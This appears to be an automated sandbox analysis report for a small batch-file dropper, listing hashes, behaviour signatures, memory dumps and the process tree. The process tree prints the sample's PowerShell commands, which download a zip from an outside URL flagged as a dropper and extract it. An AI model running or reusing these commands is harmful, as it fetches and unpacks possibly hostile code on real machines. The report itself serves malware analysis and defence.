3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
118s
max time network
121s
platform
windows7_x64
resource
win7-20231020-en
resource tags

arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
submitted
06/11/2023, 23:24

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General

Target

tesy - Copy.bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2432	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2432	powershell.exe
1292	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2432	powershell.exe
Token: SeDebugPrivilege	1292	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2268 wrote to memory of 2432	2268	cmd.exe	29
PID 2268 wrote to memory of 2432	2268	cmd.exe	29
PID 2268 wrote to memory of 2432	2268	cmd.exe	29
PID 2268 wrote to memory of 1292	2268	cmd.exe	30
PID 2268 wrote to memory of 1292	2268	cmd.exe	30
PID 2268 wrote to memory of 1292	2268	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1292

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
00ad2d388a3eb0a70a47426b7e991966

SHA1
94eb08fa6ae2cefc781c222673b7f8b90ac210a3

SHA256
bccf5c88da35839023821032820eaf95828667e0df46195f4cfaf179ceeecc15

SHA512
87f19999ff737c4a949f5732d7bfd32e4232ad03f7b8302c38eb4bca5ed96e9b1ca97af3ea1590303d2ab9e2a12b62ba343400bf70ac1b555b82c2d55bb2838e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VJPXTKMKMPNV6LKS2BAT.temp

Filesize
7KB

MD5
00ad2d388a3eb0a70a47426b7e991966

SHA1
94eb08fa6ae2cefc781c222673b7f8b90ac210a3

SHA256
bccf5c88da35839023821032820eaf95828667e0df46195f4cfaf179ceeecc15

SHA512
87f19999ff737c4a949f5732d7bfd32e4232ad03f7b8302c38eb4bca5ed96e9b1ca97af3ea1590303d2ab9e2a12b62ba343400bf70ac1b555b82c2d55bb2838e

Download Submit
memory/1292-20-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

Filesize
32KB

Download
memory/1292-23-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/1292-26-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

Filesize
9.6MB

Download
memory/1292-25-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/1292-24-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/1292-22-0x0000000002960000-0x00000000029E0000-memory.dmp

Filesize
512KB

Download
memory/1292-21-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

Filesize
9.6MB

Download
memory/1292-19-0x000007FEF5100000-0x000007FEF5A9D000-memory.dmp

Filesize
9.6MB

Download
memory/1292-18-0x000000001B300000-0x000000001B5E2000-memory.dmp

Filesize
2.9MB

Download
memory/2432-5-0x0000000002310000-0x0000000002318000-memory.dmp

Filesize
32KB

Download
memory/2432-4-0x000000001B3B0000-0x000000001B692000-memory.dmp

Filesize
2.9MB

Download
memory/2432-6-0x000007FEF5AA0000-0x000007FEF643D000-memory.dmp

Filesize
9.6MB

Download
memory/2432-12-0x000007FEF5AA0000-0x000007FEF643D000-memory.dmp

Filesize
9.6MB

Download
memory/2432-7-0x000007FEF5AA0000-0x000007FEF643D000-memory.dmp

Filesize
9.6MB

Download
memory/2432-10-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2432-9-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2432-8-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download